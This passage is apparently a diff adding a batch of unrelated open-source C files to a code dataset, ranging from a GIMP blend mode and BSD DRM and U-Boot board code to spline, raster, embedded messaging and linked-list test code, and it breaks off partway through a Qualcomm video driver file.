+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+ */
+
+#include "config.h"
+
+#include <gegl-plugin.h>
+
+#include "operations-types.h"
+
+#include "gimpoperationdarkenonlymode.h"
+
+
+static void     gimp_operation_darken_only_mode_prepare (GeglOperation       *operation);
+static gboolean gimp_operation_darken_only_mode_process (GeglOperation       *operation,
+                                                         void                *in_buf,
+                                                         void                *aux_buf,
+                                                         void                *aux2_buf,
+                                                         void                *out_buf,
+                                                         glong                samples,
+                                                         const GeglRectangle *roi,
+                                                         gint                 level);
+
+
+G_DEFINE_TYPE (GimpOperationDarkenOnlyMode, gimp_operation_darken_only_mode,
+               GIMP_TYPE_OPERATION_POINT_LAYER_MODE)
+
+
+static void
+gimp_operation_darken_only_mode_class_init (GimpOperationDarkenOnlyModeClass *klass)
+{
+  GeglOperationClass               *operation_class;
+  GeglOperationPointComposer3Class *point_class;
+
+  operation_class = GEGL_OPERATION_CLASS (klass);
+  point_class     = GEGL_OPERATION_POINT_COMPOSER3_CLASS (klass);
+
+  gegl_operation_class_set_keys (operation_class,
+                                 "name",        "gimp:darken-only-mode",
+                                 "description", "GIMP darken only mode operation",
+                                 NULL);
+
+  operation_class->prepare = gimp_operation_darken_only_mode_prepare;
+  point_class->process     = gimp_operation_darken_only_mode_process;
+}
+
+static void
+gimp_operation_darken_only_mode_init (GimpOperationDarkenOnlyMode *self)
+{
+}
+
+static void
+gimp_operation_darken_only_mode_prepare (GeglOperation *operation)
+{
+  const Babl *format = babl_format ("R'G'B'A float");
+
+  gegl_operation_set_format (operation, "input",  format);
+  gegl_operation_set_format (operation, "aux",    format);
+  gegl_operation_set_format (operation, "aux2",   babl_format ("Y float"));
+  gegl_operation_set_format (operation, "output", format);
+}
+
+static gboolean
+gimp_operation_darken_only_mode_process (GeglOperation       *operation,
+                                         void                *in_buf,
+                                         void                *aux_buf,
+                                         void                *aux2_buf,
+                                         void                *out_buf,
+                                         glong                samples,
+                                         const GeglRectangle *roi,
+                                         gint                 level)
+{
+  gdouble        opacity  = GIMP_OPERATION_POINT_LAYER_MODE (operation)->opacity;
+  gfloat        *in       = in_buf;
+  gfloat        *layer    = aux_buf;
+  gfloat        *mask     = aux2_buf;
+  gfloat        *out      = out_buf;
+  const gboolean has_mask = mask != NULL;
+
+  while (samples--)
+    {
+      gfloat comp_alpha, new_alpha;
+
+      comp_alpha = MIN (in[ALPHA], layer[ALPHA]) * opacity;
+      if (has_mask)
+        comp_alpha *= *mask;
+
+      new_alpha = in[ALPHA] + (1.0 - in[ALPHA]) * comp_alpha;
+
+      if (new_alpha && comp_alpha)
+        {
+          gint   b;
+          gfloat ratio = comp_alpha / new_alpha;
+
+          for (b = RED; b < ALPHA; b++)
+            {
+              gfloat comp = MIN (in[b], layer[b]);
+
+              out[b] = comp * ratio + in[b] * (1.0 - ratio);
+            }
+        }
+      else
+        {
+          gint b;
+
+          for (b = RED; b < ALPHA; b++)
+            {
+              out[b] = in[b];
+            }
+        }
+
+      out[ALPHA] = in[ALPHA];
+
+      in    += 4;
+      layer += 4;
+      out   += 4;
+
+      if (has_mask)
+        mask++;
+    }
+
+  return TRUE;
+}
diff --git a/pool/shard001/C/0021875_sis_drv.c b/pool/shard001/C/0021875_sis_drv.c
new file mode 100644
index 0000000000000000000000000000000000000000..a807b4df76c6ff9dc76d30a361ed2d134dad877c
--- /dev/null
+++ b/pool/shard001/C/0021875_sis_drv.c
@@ -0,0 +1,174 @@
+/* sis.c -- sis driver -*- linux-c -*-
+ */
+/*-
+ * Copyright 1999 Precision Insight, Inc., Cedar Park, Texas.
+ * Copyright 2000 VA Linux Systems, Inc., Sunnyvale, California.
+ * All Rights Reserved.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice (including the next
+ * paragraph) shall be included in all copies or substantial portions of the
+ * Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+ * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ *
+ */
+
+#include "drmP.h"
+#include "sis_drm.h"
+#include "sis_drv.h"
+#include "drm_pciids.h"
+
+/* drv_PCI_IDs comes from drm_pciids.h, generated from drm_pciids.txt. */
+static drm_pci_id_list_t sis_pciidlist[] = {
+	sis_PCI_IDS
+};
+
+static void sis_configure(struct drm_device *dev)
+{
+	dev->driver->driver_features =
+	    DRIVER_USE_AGP | DRIVER_USE_MTRR;
+
+	dev->driver->buf_priv_size	= 1; /* No dev_priv */
+	dev->driver->context_ctor	= sis_init_context;
+	dev->driver->context_dtor	= sis_final_context;
+
+	dev->driver->ioctls		= sis_ioctls;
+	dev->driver->max_ioctl		= sis_max_ioctl;
+
+	dev->driver->name		= DRIVER_NAME;
+	dev->driver->desc		= DRIVER_DESC;
+	dev->driver->date		= DRIVER_DATE;
+	dev->driver->major		= DRIVER_MAJOR;
+	dev->driver->minor		= DRIVER_MINOR;
+	dev->driver->patchlevel		= DRIVER_PATCHLEVEL;
+}
+
+#if defined(__FreeBSD__)
+
+static int
+sis_probe(device_t kdev)
+{
+	return drm_probe(kdev, sis_pciidlist);
+}
+
+static int
+sis_attach(device_t kdev)
+{
+	struct drm_device *dev = device_get_softc(kdev);
+
+	dev->driver = malloc(sizeof(struct drm_driver_info), DRM_MEM_DRIVER,
+	    M_WAITOK | M_ZERO);
+
+	sis_configure(dev);
+
+	return drm_attach(kdev, sis_pciidlist);
+}
+
+static int
+sis_detach(device_t kdev)
+{
+	struct drm_device *dev = device_get_softc(kdev);
+	int ret;
+
+	ret = drm_detach(kdev);
+
+	free(dev->driver, DRM_MEM_DRIVER);
+
+	return ret;
+}
+
+static device_method_t sis_methods[] = {
+	/* Device interface */
+	DEVMETHOD(device_probe,		sis_probe),
+	DEVMETHOD(device_attach,	sis_attach),
+	DEVMETHOD(device_detach,	sis_detach),
+
+	{ 0, 0 }
+};
+
+static driver_t sis_driver = {
+	"drm",
+	sis_methods,
+	sizeof(struct drm_device)
+};
+
+extern devclass_t drm_devclass;
+#if __FreeBSD_version >= 700010
+DRIVER_MODULE(sisdrm, vgapci, sis_driver, drm_devclass, 0, 0);
+#else
+DRIVER_MODULE(sisdrm, pci, sis_driver, drm_devclass, 0, 0);
+#endif
+MODULE_DEPEND(sisdrm, drm, 1, 1, 1);
+
+#elif   defined(__NetBSD__)
+
+static int
+sisdrm_probe(device_t parent, cfdata_t match, void *aux)
+{
+	struct pci_attach_args *pa = aux;
+
+	return drm_probe(pa, sis_pciidlist);
+}
+
+static void
+sisdrm_attach(device_t parent, device_t self, void *aux)
+{
+	struct pci_attach_args *pa = aux;
+	struct drm_device *dev = device_private(self);
+
+	dev->driver = malloc(sizeof(struct drm_driver_info), DRM_MEM_DRIVER,
+	    M_WAITOK | M_ZERO);
+
+	sis_configure(dev);
+
+	drm_attach(self, pa, sis_pciidlist);
+}
+
+CFATTACH_DECL_NEW(sisdrm, sizeof(struct drm_device),
+    sisdrm_probe, sisdrm_attach, drm_detach, NULL);
+
+MODULE(MODULE_CLASS_DRIVER, sisdrm, "drm");
+
+#ifdef _MODULE
+#include "ioconf.c"
+#endif
+
+static int
+sisdrm_modcmd(modcmd_t cmd, void *arg)
+{
+	int error = 0;
+
+	switch (cmd) {
+	case MODULE_CMD_INIT:
+#ifdef _MODULE
+		error = config_init_component(cfdriver_ioconf_sisdrm,
+		    cfattach_ioconf_sisdrm, cfdata_ioconf_sisdrm);
+#endif
+		break;
+	case MODULE_CMD_FINI:
+#ifdef _MODULE
+		error = config_fini_component(cfdriver_ioconf_sisdrm,
+		    cfattach_ioconf_sisdrm, cfdata_ioconf_sisdrm);
+#endif
+		break;
+	default:
+		return ENOTTY;
+	}
+
+	return error;
+}
+
+#endif
diff --git a/pool/shard001/C/0021884_spl3d13.c b/pool/shard001/C/0021884_spl3d13.c
new file mode 100644
index 0000000000000000000000000000000000000000..a56542373d3c0640dc134b30a0512c1774840653
--- /dev/null
+++ b/pool/shard001/C/0021884_spl3d13.c
@@ -0,0 +1,160 @@
+
+/* //////////////////////////////////////////////////// */
+/* This file is a part of the BSTools procedure package */
+/* written by Przemyslaw Kiciak.                        */
+/* //////////////////////////////////////////////////// */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <math.h>
+
+#include <X11/Xlib.h>
+#include <X11/Xutil.h>
+
+#include "pkgeom.h"
+#include "multibs.h"
+#include "convh.h"
+#include "camerad.h"
+
+#include "xgedit.h"
+#include "spl3d.h"
+
+
+void EqMerSetQuarterCircleArc ( void )
+{
+  xge_KnotWind *ckwind;
+  double        kn[2] = {0.0, 1.0};
+
+  ckwind = eq_ckwind.er->data0;
+  ckwind->degree = 2;
+  eqmer_nurbs = true;
+  if ( equator )
+    equator_nurbs = true;
+  else
+    meridian_nurbs = true;
+  eqmer_closed = false;
+  arc_angle = (double)(0.5*PI);
+  mbs_SetKnotPatternd ( 1, kn, 3, &ckwind->lastknot, ckwind->knots );
+  SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 );
+  SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(0.5*SQRT2),
+               (double)(0.5*SQRT2) );
+  SetPoint3d ( &eqmer_cpoints[2], 0.0, 1.0, 1.0 );
+  neqmerpoints = 3;
+  ProjectEqMerCurve ();
+} /*EqMerSetQuarterCircleArc*/
+
+void EqMerSetHalfCircleArc ( void )
+{
+  xge_KnotWind *ckwind;
+  double        kn[3] = {0.0, 0.5, 1.0};
+
+  ckwind = eq_ckwind.er->data0;
+  ckwind->degree = 2;
+  eqmer_nurbs = true;
+  eqmer_closed = false;
+  arc_angle = PI;
+  ckwind->knots[0] = 0.0;
+  mbs_SetKnotPatternd ( 2, kn, 2, &ckwind->lastknot, &ckwind->knots[1] );
+  ckwind->knots[7] = 1.0;
+  ckwind->lastknot = 7;
+  if ( equator ) {
+    equator_nurbs = true;
+    SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 );
+    SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(0.5*SQRT2),
+                 (double)(0.5*SQRT2) );
+    SetPoint3d ( &eqmer_cpoints[2], 0.0, 1.0, 1.0 );
+    SetPoint3d ( &eqmer_cpoints[3], (double)(-0.5*SQRT2), (double)(0.5*SQRT2),
+                 (double)(0.5*SQRT2) );
+    SetPoint3d ( &eqmer_cpoints[4], -1.0, 0.0, 1.0 );
+  }
+  else {
+    meridian_nurbs = true;
+    SetPoint3d ( &eqmer_cpoints[0], 0.0, -1.0, 1.0 );
+    SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(-0.5*SQRT2),
+                 (double)(0.5*SQRT2) );
+    SetPoint3d ( &eqmer_cpoints[2], 1.0, 0.0, 1.0 );
+    SetPoint3d ( &eqmer_cpoints[3], (double)(0.5*SQRT2), (double)(0.5*SQRT2),
+                 (double)(0.5*SQRT2) );
+    SetPoint3d ( &eqmer_cpoints[4], 0.0, 1.0, 1.0 );
+  }
+  neqmerpoints = 5;
+  ProjectEqMerCurve ();
+} /*EqMerSetHalfCircleArc*/
+
+void EqMerSetFullCircleArc ( void )
+{
+  xge_KnotWind *ckwind;
+  double        kn[5] = {0.0, 0.25, 0.5, 0.75, 1.0};
+
+  ckwind = eq_ckwind.er->data0;
+  ckwind->degree = 2;
+  eqmer_nurbs = true;
+  if ( equator )
+    equator_nurbs = true;
+  else
+    meridian_nurbs = true;
+  eqmer_closed = false;
+  arc_angle = (double)(2.0*PI);
+  ckwind->knots[0] = 0.0;
+  mbs_SetKnotPatternd ( 4, kn, 2, &ckwind->lastknot, &ckwind->knots[1] );
+  ckwind->knots[11] = 1.0;
+  ckwind->lastknot = 11;
+  SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 );
+  SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(0.5*SQRT2),
+               (double)(0.5*SQRT2) );
+  SetPoint3d ( &eqmer_cpoints[2], 0.0, 1.0, 1.0 );
+  SetPoint3d ( &eqmer_cpoints[3], (double)(-0.5*SQRT2), (double)(0.5*SQRT2),
+               (double)(0.5*SQRT2) );
+  SetPoint3d ( &eqmer_cpoints[4], -1.0, 0.0, 1.0 );
+  SetPoint3d ( &eqmer_cpoints[5], (double)(-0.5*SQRT2), (double)(-0.5*SQRT2),
+               (double)(0.5*SQRT2) );
+  SetPoint3d ( &eqmer_cpoints[6], 0.0, -1.0, 1.0 );
+  SetPoint3d ( &eqmer_cpoints[7], (double)(0.5*SQRT2), (double)(-0.5*SQRT2),
+               (double)(0.5*SQRT2) );
+  SetPoint3d ( &eqmer_cpoints[8], 1.0, 0.0, 1.0 );
+  neqmerpoints = 9;
+  ProjectEqMerCurve ();
+} /*EqMerSetFullCircleArc*/
+
+void EqMerSetCircleArc ( double angle )
+{
+  xge_KnotWind *ckwind;
+  int          narcs, i;
+  double        *kn, a, w;
+  trans2d      tr;
+  double   kn1[2] = {0.0, 1.0};
+  double   kn2[3] = {0.0, 0.5, 1.0};
+  double   kn3[4] = {0.0, 0.333333333333333, 0.6666666666666666, 1.0};
+  double   kn4[5] = {0.0, 0.25, 0.5, 0.75, 1.0};
+
+  ckwind = eq_ckwind.er->data0;
+
+  if ( angle < 0.0 ) angle += (double)(2.0*PI);
+  angle = (double)(max ( 0.0, angle ));
+  angle = (double)(min ( 2.0*PI, angle ));
+  if ( angle <= 0.5*PI ) { narcs = 1;  kn = kn1; }
+  else if ( angle <= PI ) { narcs = 2;  kn = kn2; }
+  else if ( angle <= 1.5*PI ) { narcs = 3;  kn = kn3; }
+  else { narcs = 4;  kn = kn4; }
+  ckwind->degree = 2;
+  eqmer_nurbs = true;
+  eqmer_closed = false;
+  arc_angle = angle;
+  ckwind->knots[0] = 0.0;
+  mbs_SetKnotPatternd ( narcs, kn, 2, &ckwind->lastknot, &ckwind->knots[1] );
+  ckwind->lastknot += 2;
+  ckwind->knots[ckwind->lastknot] = 1.0;
+  a = (double)(angle/(2.0*narcs));
+  w = (double)(cos ( a ));
+  SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 );
+  IdentTrans2d ( &tr );
+  RotTrans2d ( &tr, a );
+  for ( i = 0; i < 2*narcs; i++ )
+    Trans2Point3d ( &tr, &eqmer_cpoints[i], &eqmer_cpoints[i+1] );
+  for ( i = 1; i < 2*narcs; i += 2 )
+    eqmer_cpoints[i].z = w;
+  neqmerpoints = 2*narcs+1;
+  ProjectEqMerCurve ();
+} /*EqMerSetCircleArc*/
+
diff --git a/pool/shard001/C/0021887_xshiftr.c b/pool/shard001/C/0021887_xshiftr.c
new file mode 100644
index 0000000000000000000000000000000000000000..5aa62f4173ee468d1c5675e12a1a77590a23f585
--- /dev/null
+++ b/pool/shard001/C/0021887_xshiftr.c
@@ -0,0 +1,38 @@
+
+#include <grass/gis.h>
+#include <grass/raster.h>
+#include "globals.h"
+#include "expression.h"
+#include "func_proto.h"
+
+/****************************************************************
+shiftr(a,b) = a >> b
+****************************************************************/
+
+int f_shiftr(int argc, const int *argt, void **args)
+{
+    CELL *res = args[0];
+    CELL *arg1 = args[1];
+    CELL *arg2 = args[2];
+    int i;
+
+    if (argc < 2)
+	return E_ARG_LO;
+    if (argc > 2)
+	return E_ARG_HI;
+
+    if (argt[1] != CELL_TYPE || argt[2] != CELL_TYPE)
+	return E_ARG_TYPE;
+
+    if (argt[0] != CELL_TYPE)
+	return E_RES_TYPE;
+
+    for (i = 0; i < columns; i++) {
+	if (IS_NULL_C(&arg1[i]) || IS_NULL_C(&arg2[i]))
+	    SET_NULL_C(&res[i]);
+	else
+	    res[i] = arg1[i] >> arg2[i];
+    }
+
+    return 0;
+}
diff --git a/pool/shard001/C/0021901_main_remote.c b/pool/shard001/C/0021901_main_remote.c
new file mode 100644
index 0000000000000000000000000000000000000000..a7a4b06f19ee87f6f2a9405c3fd83376b8ca11fa
--- /dev/null
+++ b/pool/shard001/C/0021901_main_remote.c
@@ -0,0 +1,122 @@
+/*
+ * Copyright (c) 2018, NXP
+ * Copyright (c) 2018 Nordic Semiconductor ASA
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * This implements the remote side of an OpenAMP system.
+ */
+
+#include <zephyr.h>
+#include <misc/printk.h>
+#include <device.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <openamp/open_amp.h>
+
+#include "platform.h"
+#include "resource_table.h"
+
+#define APP_TASK_STACK_SIZE (512)
+K_THREAD_STACK_DEFINE(thread_stack, APP_TASK_STACK_SIZE);
+static struct k_thread thread_data;
+
+static K_SEM_DEFINE(channel_created, 0, 1);
+
+static K_SEM_DEFINE(message_received, 0, 1);
+static volatile unsigned int received_data;
+
+static struct rsc_table_info rsc_info;
+static struct hil_proc *proc;
+
+static struct rpmsg_channel *rp_channel;
+static struct rpmsg_endpoint *rp_endpoint;
+
+static void rpmsg_recv_callback(struct rpmsg_channel *channel, void *data,
+				int data_length, void *private,
+				unsigned long src)
+{
+	received_data = *((unsigned int *) data);
+	k_sem_give(&message_received);
+}
+
+static void rpmsg_channel_created(struct rpmsg_channel *channel)
+{
+	rp_channel = channel;
+	rp_endpoint = rpmsg_create_ept(rp_channel, rpmsg_recv_callback,
+				       RPMSG_NULL, RPMSG_ADDR_ANY);
+	k_sem_give(&channel_created);
+}
+
+static void rpmsg_channel_deleted(struct rpmsg_channel *channel)
+{
+	rpmsg_destroy_ept(rp_endpoint);
+}
+
+static unsigned int receive_message(void)
+{
+	while (k_sem_take(&message_received, K_NO_WAIT) != 0)
+		hil_poll(proc, 0);
+	return received_data;
+}
+
+static int send_message(unsigned int message)
+{
+	return rpmsg_send(rp_channel, &message, sizeof(message));
+}
+
+void app_task(void *arg1, void *arg2, void *arg3)
+{
+	ARG_UNUSED(arg1);
+	ARG_UNUSED(arg2);
+	ARG_UNUSED(arg3);
+
+	struct metal_init_params metal_params = METAL_INIT_DEFAULTS;
+
+	metal_init(&metal_params);
+
+	proc = platform_init(RPMSG_REMOTE);
+	if (proc == NULL) {
+		goto _cleanup;
+	}
+
+	resource_table_init((void **) &rsc_info.rsc_tab, &rsc_info.size);
+
+	struct remote_proc *rproc_ptr = NULL;
+	int status = remoteproc_resource_init(&rsc_info, proc,
+					      rpmsg_channel_created,
+					      rpmsg_channel_deleted,
+					      rpmsg_recv_callback,
+					      &rproc_ptr, RPMSG_REMOTE);
+	if (status != 0) {
+		goto _cleanup;
+	}
+
+	while (k_sem_take(&channel_created, K_NO_WAIT) != 0)
+		hil_poll(proc, 0);
+
+	unsigned int message = 0U;
+
+	while (message <= 100) {
+		message = receive_message();
+		message++;
+		status = send_message(message);
+		if (status <= 0) {
+			goto _cleanup;
+		}
+	}
+
+_cleanup:
+	if (rproc_ptr) {
+		remoteproc_resource_deinit(rproc_ptr);
+	}
+}
+
+void main(void)
+{
+	k_thread_create(&thread_data, thread_stack, APP_TASK_STACK_SIZE,
+			(k_thread_entry_t)app_task,
+			NULL, NULL, NULL, K_PRIO_COOP(7), 0, 0);
+}
diff --git a/pool/shard001/C/0021907_rt_round_snf.c b/pool/shard001/C/0021907_rt_round_snf.c
new file mode 100644
index 0000000000000000000000000000000000000000..64a63f0735264a121c1a77cde37094c420a65de3
--- /dev/null
+++ b/pool/shard001/C/0021907_rt_round_snf.c
@@ -0,0 +1,46 @@
+/*
+ * rt_round_snf.c
+ *
+ * Real-Time Workshop code generation for Simulink model "NLPIDVersion2.mdl".
+ *
+ * Model Version              : 1.89
+ * Real-Time Workshop version : 7.3  (R2009a)  15-Jan-2009
+ * C source code generated on : Mon Mar 24 18:43:48 2014
+ *
+ * Target selection: nidll.tlc
+ *   Note: GRT includes extra infrastructure and instrumentation for prototyping
+ * Embedded hardware selection: 32-bit Generic
+ * Code generation objectives: Unspecified
+ * Validation result: Not run
+ *
+ */
+
+#include "rt_round_snf.h"
+#include "rt_nonfinite.h"
+#include <math.h>
+
+/* Function: rt_round_snf =======================================================
+ * Abstract:
+ *   Calls double-precision version of ROUND, with guard against domain error
+ *   and guards against non-finites
+ */
+real_T rt_round_snf(const real_T xr)
+{
+  real_T zr, axr;
+  if (rtIsNaN(xr)) {
+    zr = xr;
+  } else {
+    axr = fabs(xr);
+    if (axr < 4.5035996273704960E+015) {
+      if (xr < 0.0) {
+        zr = -floor(axr + 0.5);
+      } else {
+        zr = floor(axr + 0.5);
+      }
+    } else {
+      zr = xr;
+    }
+  }
+
+  return zr;
+}                                      /* end rt_round_snf */
diff --git a/pool/shard001/C/0021908_vexpress64.c b/pool/shard001/C/0021908_vexpress64.c
new file mode 100644
index 0000000000000000000000000000000000000000..26e22c4c25549720242d1baa0e8137823ffd80d2
--- /dev/null
+++ b/pool/shard001/C/0021908_vexpress64.c
@@ -0,0 +1,105 @@
+/*
+ * (C) Copyright 2013
+ * David Feng <fenghua@phytium.com.cn>
+ * Sharma Bhupesh <bhupesh.sharma@freescale.com>
+ *
+ * SPDX-License-Identifier:	GPL-2.0+
+ */
+#include <common.h>
+#include <dm.h>
+#include <malloc.h>
+#include <errno.h>
+#include <netdev.h>
+#include <asm/io.h>
+#include <linux/compiler.h>
+#include <dm/platform_data/serial_pl01x.h>
+#include "pcie.h"
+#include <asm/armv8/mmu.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static const struct pl01x_serial_platdata serial_platdata = {
+	.base = V2M_UART0,
+	.type = TYPE_PL011,
+	.clock = CONFIG_PL011_CLOCK,
+};
+
+U_BOOT_DEVICE(vexpress_serials) = {
+	.name = "serial_pl01x",
+	.platdata = &serial_platdata,
+};
+
+static struct mm_region vexpress64_mem_map[] = {
+	{
+		.virt = 0x0UL,
+		.phys = 0x0UL,
+		.size = 0x80000000UL,
+		.attrs = PTE_BLOCK_MEMTYPE(MT_DEVICE_NGNRNE) |
+			 PTE_BLOCK_NON_SHARE |
+			 PTE_BLOCK_PXN | PTE_BLOCK_UXN
+	}, {
+		.virt = 0x80000000UL,
+		.phys = 0x80000000UL,
+		.size = 0xff80000000UL,
+		.attrs = PTE_BLOCK_MEMTYPE(MT_NORMAL) |
+			 PTE_BLOCK_INNER_SHARE
+	}, {
+		/* List terminator */
+		0,
+	}
+};
+
+struct mm_region *mem_map = vexpress64_mem_map;
+
+/* This function gets replaced by platforms supporting PCIe.
+ * The replacement function, eg. on Juno, initialises the PCIe bus.
+ */
+__weak void vexpress64_pcie_init(void)
+{
+}
+
+int board_init(void)
+{
+	vexpress64_pcie_init();
+	return 0;
+}
+
+int dram_init(void)
+{
+	gd->ram_size = PHYS_SDRAM_1_SIZE;
+	return 0;
+}
+
+int dram_init_banksize(void)
+{
+	gd->bd->bi_dram[0].start = PHYS_SDRAM_1;
+	gd->bd->bi_dram[0].size = PHYS_SDRAM_1_SIZE;
+#ifdef PHYS_SDRAM_2
+	gd->bd->bi_dram[1].start = PHYS_SDRAM_2;
+	gd->bd->bi_dram[1].size = PHYS_SDRAM_2_SIZE;
+#endif
+
+	return 0;
+}
+
+/*
+ * Board specific reset that is system reset.
+ */
+void reset_cpu(ulong addr)
+{
+}
+
+/*
+ * Board specific ethernet initialization routine.
+ */
+int board_eth_init(bd_t *bis)
+{
+	int rc = 0;
+#ifdef CONFIG_SMC91111
+	rc = smc91111_initialize(0, CONFIG_SMC91111_BASE);
+#endif
+#ifdef CONFIG_SMC911X
+	rc = smc911x_initialize(0, CONFIG_SMC911X_BASE);
+#endif
+	return rc;
+}
diff --git a/pool/shard001/C/0021914_node_test.c b/pool/shard001/C/0021914_node_test.c
new file mode 100644
index 0000000000000000000000000000000000000000..816b0a9be70d68add9d0c3ada75b6e0efd645390
--- /dev/null
+++ b/pool/shard001/C/0021914_node_test.c
@@ -0,0 +1,151 @@
+/*
+ * brickd
+ * Copyright (C) 2014-2015 Matthias Bolte <matthias@tinkerforge.com>
+ *
+ * node_test.c: Tests for the Node type
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <daemonlib/macros.h>
+#include <daemonlib/node.h>
+
+typedef struct {
+	Node node;
+	int value;
+} Number;
+
+static int validate_numbers(int test, Node *sentinel, int offset, int length) {
+	int i;
+	Number *number;
+	Node *node;
+
+	// forward
+	i = offset;
+	node = sentinel->next;
+
+	while (node != sentinel) {
+		number = containerof(node, Number, node);
+
+		if (number->value != i) {
+			printf("test%d: forward number mismatch (actual: %d != expected: %d)\n",
+			       test, number->value, i);
+
+			return -1;
+		}
+
+		++i;
+		node = node->next;
+	}
+
+	if (i != offset + length) {
+		printf("test%d: forward length mismatch (actual: %d != expected: %d)\n",
+		       test, i, offset + length);
+
+		return -1;
+	}
+
+	// backward
+	i = offset + length - 1;
+	node = sentinel->prev;
+
+	while (node != sentinel) {
+		number = containerof(node, Number, node);
+
+		if (number->value != i) {
+			printf("test%d: backward number mismatch (actual: %d != expected: %d)\n",
+			       test, number->value, i);
+
+			return -1;
+		}
+
+		--i;
+		node = node->prev;
+	}
+
+	if (i != offset - 1) {
+		printf("test%d: backward length mismatch (actual: %d != expected: %d)\n",
+		       test, i, offset - 1);
+
+		return -1;
+	}
+
+	return 0;
+}
+
+static int test1(void) {
+	int result = -1;
+	Node sentinel;
+	int i;
+	Number *number;
+	Node *node;
+
+	node_reset(&sentinel);
+
+	for (i = 0; i < 100000; ++i) {
+		number = calloc(1, sizeof(Number));
+
+		node_reset(&number->node);
+
+		number->value = i;
+
+		node_insert_before(&sentinel, &number->node);
+	}
+
+	if (validate_numbers(1, &sentinel, 0, 100000) < 0) {
+		goto cleanup;
+	}
+
+	node = sentinel.next;
+
+	node_remove(node);
+
+	number = containerof(node, Number, node);
+
+	free(number);
+
+	if (validate_numbers(1, &sentinel, 1, 99999) < 0) {
+		goto cleanup;
+	}
+
+	result = 0;
+
+cleanup:
+	while (sentinel.next != &sentinel) {
+		number = containerof(sentinel.next, Number, node);
+
+		node_remove(&number->node);
+		free(number);
+	}
+
+	return result;
+}
+
+int main(void) {
+#ifdef _WIN32
+	fixes_init();
+#endif
+
+	if (test1() < 0) {
+		return EXIT_FAILURE;
+	}
+
+	printf("success\n");
+
+	return EXIT_SUCCESS;
+}
diff --git a/pool/shard001/C/0021927_vcd_ddl_utils.c b/pool/shard001/C/0021927_vcd_ddl_utils.c
new file mode 100644
index 0000000000000000000000000000000000000000..8b9a19632694adce364c276064ca79ccc28bd147
--- /dev/null
+++ b/pool/shard001/C/0021927_vcd_ddl_utils.c
@@ -0,0 +1,227 @@
+/* Copyright (c) 2010-2011, Code Aurora Forum. All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 and
+ * only version 2 as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+ * 02110-1301, USA.
+ *
+ */
+
+#include "vidc_type.h"
+#include "vcd_ddl_utils.h"
+
+#if DEBUG
+#define DBG(x...) printk(KERN_DEBUG x)
+#else
+#define DBG(x...)
+#endif
+
+#define DBG_TIME(x...) printk(KERN_DEBUG x)
+#define ERR(x...) printk(KERN_ERR x)
+
+struct time_data {
+	unsigned int ddl_t1;
+	unsigned int ddl_ttotal;
+	unsigned int ddl_count;
+};
+
+static struct time_data proc_time[MAX_TIME_DATA];
+
+#ifdef NO_IN_KERNEL_PMEM
+
+void ddl_pmem_alloc(struct ddl_buf_addr *buff_addr, size_t sz, u32 align)
+{
+	u32 guard_bytes, align_mask;
+	u32 physical_addr, align_offset;
+	dma_addr_t phy_addr;
+
+	if (align == DDL_LINEAR_BUFFER_ALIGN_BYTES) {
+
